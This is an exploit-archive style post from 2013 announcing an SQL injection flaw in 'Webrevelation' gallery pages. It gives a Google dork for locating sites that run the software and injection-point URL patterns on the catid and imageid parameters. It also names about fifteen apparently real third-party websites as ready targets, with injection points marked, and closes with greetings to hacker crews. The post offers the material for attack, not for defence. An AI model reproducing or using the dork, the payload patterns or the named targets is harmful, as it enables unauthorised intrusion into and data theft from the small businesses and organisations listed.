Webrevelation SQL Injection Vulnerability

#Exploit Title : Webrevelation SQL Injection Vulnerability

#Google Dork intext:"Site by Webrevelation"

#Author : Bond Benz

#Tested on : Linux 

Proof of Concept

=================

http://[Site]/[Path]/gallery_images.php?catid=['SQLi]

http://[Site]/[Path]/gallery_image.php?imageid=['SQLi]

http://[Site]/[Path]/photogallery.php?catid=['SQLi]

http://[Site]/[Path]/photo_categories.php?catid=['SQLi]

 

Example :

http://brushbusters.net/html/gallery_images.php?catid='5

https://webserver.censara.org/html/gallery_images.php?catid='11

http://www.dentalonebs.com/html/gallery_images.php?catid='12

http://www.denikeministries.org/html/gallery_images.php?catid='0

http://www.scarytastesgood.com/m/gallery_images.php?catid='3

http://www.sjblinings.com/html/gallery_images.php?catid='1

http://www.budblakley.com/html/gallery_image.php?imageid='71

http://www.perfectionequipment.com/html/gallery_image.php?imageid='36

http://www.savannahbuilders.net/html/photogallery.php?catid='10

http://www.worshipvancouver.com/html/gallery_images.php?catid='7

http://www.stevebarnesnewhomes.com/html/gallery_images.php?catid='3

http://www.investinc.info/html/gallery_images.php?catid='4

http://www.oconnorslawn.com/html/gallery_images.php?catid=-10

http://www.lachiquemaison.com/html/gallery_images.php?catid='20

http://www.crookedoak.org/html/photo_categories.php?catid=-17

 

# Greetz To : r00tsect0r TEAM , Root-Developpers TM, Islam Hacker Pc , MTK , Thief Web , ShinoBi-Dz,  Mouh-Marvel And All Muslimans Hackers 

------------------------------------------------------------------------------------------------

0utLaw$-L4BxI [ 06/05/2013 ]